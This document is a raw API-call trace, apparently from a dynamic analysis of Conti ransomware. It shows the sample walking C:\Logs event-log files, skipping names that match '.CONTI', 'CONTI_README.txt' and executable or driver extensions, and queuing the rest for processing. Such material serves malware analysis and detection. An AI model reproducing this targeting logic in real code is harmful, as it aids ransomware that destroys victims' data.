	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch=".CONTI") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.426] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.426] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47
	[0095.426] GetProcessHeap () returned 0x1720000
	[0095.426] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740a00
	[0095.426] lstrcpyW (in: lpString1=0x1740a00, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.426] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.426] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Shell-Core%4ActionCenter.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx"
	[0095.426] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d8668) returned 1
	[0095.426] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1
	[0095.426] lstrcmpiW (lpString1="Microsoft-Windows-Shell-Core%4Operational.evtx", lpString2=".") returned 1
	[0095.426] lstrcmpiW (lpString1="Microsoft-Windows-Shell-Core%4Operational.evtx", lpString2="..") returned 1
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.426] StrStrIW (lpFirst="Microsoft-Windows-Shell-Core%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.426] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.426] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46
	[0095.426] GetProcessHeap () returned 0x1720000
	[0095.426] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x1740af0
	[0095.426] lstrcpyW (in: lpString1=0x1740af0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.426] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.426] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Shell-Core%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx"
	[0095.426] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d7f90) returned 1
	[0095.426] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1
	[0095.426] lstrcmpiW (lpString1="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpString2=".") returned 1
	[0095.426] lstrcmpiW (lpString1="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpString2="..") returned 1
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch=".CONTI") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch=".exe") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch=".dll") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch=".lnk") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch=".sys") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch=".CONTI") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Connectivity.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.427] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.427] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46
	[0095.427] GetProcessHeap () returned 0x1720000
	[0095.427] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17d1100
	[0095.427] lstrcpyW (in: lpString1=0x17d1100, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.427] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.427] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SmbClient%4Connectivity.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx"
	[0095.427] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d88b0) returned 1
	[0095.427] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1
	[0095.427] lstrcmpiW (lpString1="Microsoft-Windows-SMBClient%4Operational.evtx", lpString2=".") returned 1
	[0095.427] lstrcmpiW (lpString1="Microsoft-Windows-SMBClient%4Operational.evtx", lpString2="..") returned 1
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.427] StrStrIW (lpFirst="Microsoft-Windows-SMBClient%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.427] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.427] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45
	[0095.427] GetProcessHeap () returned 0x1720000
	[0095.427] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x17d0cc8
	[0095.427] lstrcpyW (in: lpString1=0x17d0cc8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.428] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.428] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SMBClient%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx"
	[0095.428] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d7428) returned 1
	[0095.428] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1
	[0095.428] lstrcmpiW (lpString1="Microsoft-Windows-SmbClient%4Security.evtx", lpString2=".") returned 1
	[0095.428] lstrcmpiW (lpString1="Microsoft-Windows-SmbClient%4Security.evtx", lpString2="..") returned 1
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch=".CONTI") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch=".exe") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch=".dll") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch=".lnk") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch=".sys") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch=".CONTI") returned 0x0
	[0095.428] StrStrIW (lpFirst="Microsoft-Windows-SmbClient%4Security.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.428] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.428] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42
	[0095.428] GetProcessHeap () returned 0x1720000
	[0095.428] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x17413e0
	[0095.428] lstrcpyW (in: lpString1=0x17413e0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.428] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.428] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SmbClient%4Security.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx"
	[0095.428] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d71e0) returned 1
	[0095.428] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1
	[0096.300] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Audit.evtx", lpString2=".") returned 1
	[0096.300] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Audit.evtx", lpString2="..") returned 1
	[0096.300] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch=".CONTI") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch=".exe") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch=".dll") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch=".lnk") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch=".sys") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch=".CONTI") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Audit.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.301] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.301] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39
	[0096.301] GetProcessHeap () returned 0x1720000
	[0096.301] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0780
	[0096.301] lstrcpyW (in: lpString1=0x17c0780, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.301] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.301] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SMBServer%4Audit.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx"
	[0096.301] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d6d50) returned 1
	[0096.301] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1
	[0096.301] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpString2=".") returned 1
	[0096.301] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpString2="..") returned 1
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch=".CONTI") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch=".exe") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch=".dll") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch=".lnk") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch=".sys") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch=".CONTI") returned 0x0
	[0096.301] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Connectivity.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.301] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.301] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46
	[0096.301] GetProcessHeap () returned 0x1720000
	[0096.301] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17d0e30
	[0096.301] lstrcpyW (in: lpString1=0x17d0e30, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.302] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.302] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SMBServer%4Connectivity.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx"
	[0096.302] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d9d38) returned 1
	[0096.302] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1
	[0096.302] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Operational.evtx", lpString2=".") returned 1
	[0096.302] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Operational.evtx", lpString2="..") returned 1
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.302] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.302] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45
	[0096.302] GetProcessHeap () returned 0x1720000
	[0096.302] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x17d12e0
	[0096.302] lstrcpyW (in: lpString1=0x17d12e0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.302] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.302] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SMBServer%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx"
	[0096.302] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d9f80) returned 1
	[0096.302] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1
	[0096.302] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Security.evtx", lpString2=".") returned 1
	[0096.302] lstrcmpiW (lpString1="Microsoft-Windows-SMBServer%4Security.evtx", lpString2="..") returned 1
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch=".CONTI") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch=".exe") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch=".dll") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch=".lnk") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch=".sys") returned 0x0
	[0096.302] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch=".CONTI") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-SMBServer%4Security.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.303] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.303] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42
	[0096.303] GetProcessHeap () returned 0x1720000
	[0096.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1740e30
	[0096.303] lstrcpyW (in: lpString1=0x1740e30, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.303] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.303] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-SMBServer%4Security.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx"
	[0096.303] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d6678) returned 1
	[0096.303] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1
	[0096.303] lstrcmpiW (lpString1="Microsoft-Windows-Store%4Operational.evtx", lpString2=".") returned 1
	[0096.303] lstrcmpiW (lpString1="Microsoft-Windows-Store%4Operational.evtx", lpString2="..") returned 1
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-Store%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.303] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.303] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41
	[0096.303] GetProcessHeap () returned 0x1720000
	[0096.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x17410d0
	[0096.303] lstrcpyW (in: lpString1=0x17410d0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.303] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.303] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Store%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx"
	[0096.303] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d8af8) returned 1
	[0096.303] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1
	[0096.303] lstrcmpiW (lpString1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpString2=".") returned 1
	[0096.303] lstrcmpiW (lpString1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpString2="..") returned 1
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch=".CONTI") returned 0x0
	[0096.303] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch="CONTI_README.txt") returned 0x0
